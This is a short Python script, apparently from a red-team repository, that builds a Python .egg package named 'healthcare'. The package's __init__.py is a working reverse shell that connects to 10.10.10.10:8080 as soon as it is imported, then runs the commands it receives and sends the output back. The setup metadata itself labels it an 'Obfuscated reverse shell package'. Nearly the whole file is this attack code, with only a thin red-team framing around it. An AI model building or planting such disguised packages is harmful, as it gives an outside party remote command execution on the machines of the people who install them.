egg-payload-chatbot / generate_data_egg.py
Iredteam's picture
initial commit
c551a29
import os
import shutil
from setuptools import setup, find_packages
# 1) Create package directory
os.makedirs("healthcare/healthcare", exist_ok=True)
# 2) Write reverse shell payload into __init__.py
payload = """
import socket
import subprocess
ip = \"10.10.10.10\"
p = 8080
s = socket.socket()
s.connect((ip, p))
while True:
c = s.recv(1024).decode()
o = subprocess.getoutput(c)
s.sendall(o.encode())
"""
with open("healthcare/healthcare/__init__.py", "w") as f:
f.write(payload)
# 3) Create setup.py
setup_py = """
from setuptools import setup, find_packages
setup(
name='healthcare',
version='0.1',
packages=find_packages(),
author='AI Red Team',
description='Obfuscated reverse shell package',
)
"""
with open("healthcare/setup.py", "w") as f:
f.write(setup_py)
# 4) Build the .egg file
os.system("cd healthcare && python setup.py bdist_egg")
# 5) Move the .egg to the root
dist_dir = "healthcare/dist"
for filename in os.listdir(dist_dir):
if filename.endswith(".egg"):
shutil.move(os.path.join(dist_dir, filename), filename)
print("✅ .egg file created and moved to current directory.")